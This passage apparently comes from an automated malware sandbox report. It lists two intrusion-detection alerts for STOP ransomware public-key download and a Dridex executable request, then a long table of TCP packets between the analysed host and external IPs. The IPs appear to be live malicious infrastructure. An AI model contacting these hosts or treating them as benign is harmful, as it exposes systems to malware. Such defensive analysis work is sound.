04/24/24-17:46:59.811840	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49735	211.119.84.111	192.168.2.4
04/24/24-17:46:58.773156	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49733	80	192.168.2.4	175.119.10.231

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 17:46:52.986879110 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:52.986929893 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:52.987004042 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:52.998775959 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:52.998804092 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:53.337358952 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:53.337472916 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:53.384558916 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:53.384583950 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:53.384937048 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:53.384995937 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:53.388664961 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:53.432110071 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:54.118063927 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:54.118149042 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:54.118186951 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:54.118243933 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:54.118256092 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:54.118309021 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:54.118320942 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:54.118387938 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:54.118405104 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:54.118441105 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:54.119738102 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:54.119769096 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:55.104541063 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:55.104655027 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:55.104733944 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:55.120517969 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:55.120556116 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:55.459323883 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:55.459511995 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:55.463387012 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:55.463440895 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:55.464569092 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:55.465984106 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:55.467370987 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:55.508136988 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:56.111773014 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:56.111869097 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:56.111958027 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:56.212932110 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:56.212964058 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:56.237807989 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:56.237874031 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:56.237901926 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:56.237941980 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:56.237951994 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:56.237989902 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:56.238013029 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:56.238061905 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:56.238070011 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:56.238116980 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:56.238147974 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:56.238176107 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:56.238185883 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:56.238202095 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:56.553426027 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:56.553630114 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:56.557547092 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:56.557579041 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:56.557975054 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:56.558029890 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:56.559612036 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:56.600156069 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:57.330527067 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:57.330821991 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:57.331031084 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:57.331218958 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:46:57.331260920 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 17:46:58.465900898 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:46:58.621423960 CEST	49734	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:46:58.621576071 CEST	49735	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:46:58.772819996 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:46:58.772952080 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:46:58.773155928 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:46:58.923113108 CEST	80	49734	211.119.84.111	192.168.2.4
Apr 24, 2024 17:46:58.923219919 CEST	49734	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:46:58.923394918 CEST	49734	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:46:58.929861069 CEST	80	49735	211.119.84.111	192.168.2.4
Apr 24, 2024 17:46:58.929938078 CEST	49735	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:46:58.930113077 CEST	49735	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:46:59.242161036 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:46:59.242192030 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:46:59.242255926 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:46:59.420836926 CEST	80	49734	211.119.84.111	192.168.2.4
Apr 24, 2024 17:46:59.432040930 CEST	80	49735	211.119.84.111	192.168.2.4
Apr 24, 2024 17:46:59.550604105 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:46:59.550700903 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:46:59.550740004 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:46:59.550755978 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:46:59.550776005 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:46:59.550779104 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:46:59.550797939 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:46:59.550817013 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:46:59.811840057 CEST	80	49735	211.119.84.111	192.168.2.4
Apr 24, 2024 17:46:59.811863899 CEST	80	49735	211.119.84.111	192.168.2.4
Apr 24, 2024 17:46:59.811955929 CEST	49735	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:46:59.811955929 CEST	49735	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:46:59.812155962 CEST	49735	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:46:59.818037987 CEST	80	49734	211.119.84.111	192.168.2.4
Apr 24, 2024 17:46:59.818049908 CEST	80	49734	211.119.84.111	192.168.2.4
Apr 24, 2024 17:46:59.818093061 CEST	49734	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:46:59.818139076 CEST	49734	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:46:59.818311930 CEST	49734	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:46:59.857547045 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:46:59.857589960 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:46:59.857610941 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:46:59.857631922 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:46:59.857634068 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:46:59.857651949 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:46:59.857667923 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:46:59.857681990 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:46:59.857717991 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:46:59.857750893 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:46:59.857784986 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:46:59.857815981 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:46:59.857872009 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:46:59.857903957 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:46:59.857917070 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:46:59.857950926 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.120232105 CEST	80	49734	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:00.121062040 CEST	80	49735	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:00.164233923 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.164297104 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.164343119 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.164482117 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.164515972 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.164552927 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.164601088 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.164637089 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.164638996 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.164664984 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.164766073 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.164807081 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.164832115 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.164865017 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.164967060 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.165004015 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.165041924 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.165055990 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.165079117 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.165105104 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.165131092 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.165165901 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.165209055 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.165246964 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.165288925 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.165322065 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.165330887 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.165364981 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.471266031 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.471302032 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.471321106 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.471390963 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.471411943 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.471437931 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.471458912 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.471492052 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.471532106 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.471532106 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.471570015 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.471735001 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.471755028 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.471771002 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.471786976 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.471787930 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.471817970 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.471844912 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.471879959 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.471931934 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.471981049 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.472014904 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.472048998 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.472068071 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.472106934 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.472187996 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.472265959 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.472287893 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.472309113 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.472326040 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.472366095 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.472407103 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.472434044 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.472462893 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.472481012 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.472503901 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.472543955 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.472579956 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.472620010 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.472651958 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.472853899 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.472892046 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.472930908 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.472968102 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.473014116 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.473050117 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.473090887 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.473114014 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.473126888 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.473141909 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.473162889 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.473197937 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.473212957 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.473248005 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.473280907 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.473308086 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.473315954 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.473340988 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.777997017 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.778017044 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.778033972 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.778106928 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.778120995 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.778175116 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.778202057 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.778235912 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.778263092 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.778301954 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.778304100 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.778317928 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.778337002 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.778363943 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.778389931 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.778402090 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.778424025 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.778464079 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.778501034 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.778532982 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.778565884 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.778592110 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.778603077 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.778635979 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.778676987 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.778719902 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.778733969 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.778752089 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.778768063 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.778781891 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.778805971 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.778845072 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.778868914 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.778909922 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.778922081 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.778954983 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.778956890 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.778990030 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.779007912 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.779046059 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.779072046 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.779109001 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.779110909 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.779143095 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.779202938 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.779242039 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.779273987 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.779310942 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.779337883 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.779376030 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.779377937 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.779406071 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.779437065 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.779464960 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.779473066 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.779498100 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.779512882 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.779547930 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.779565096 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.779599905 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.779617071 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.779654980 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.779674053 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.779709101 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.779710054 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.779740095 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.779752970 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.779789925 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.779803038 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.779839039 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.779844046 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.779880047 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.779942989 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.779958963 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.779982090 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.779997110 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.780042887 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.780080080 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.780106068 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.780145884 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.780163050 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.780194998 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.780200005 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.780226946 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.780242920 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.780261993 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.780288935 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.780302048 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.780318975 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.780344009 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.780385017 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.780401945 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.780433893 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.780448914 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.780482054 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.780483007 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.780523062 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.780539036 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.780570984 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.780577898 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.780601978 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.780642033 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.780658007 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.780679941 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.780695915 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.780741930 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.780780077 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.780791044 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.780822992 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.780826092 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.780860901 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.780909061 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.780920029 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.780942917 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.780961037 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.781001091 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.781013012 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:00.781037092 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:00.781053066 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.084914923 CEST	80	49733	175.119.10.231	192.168.2.4
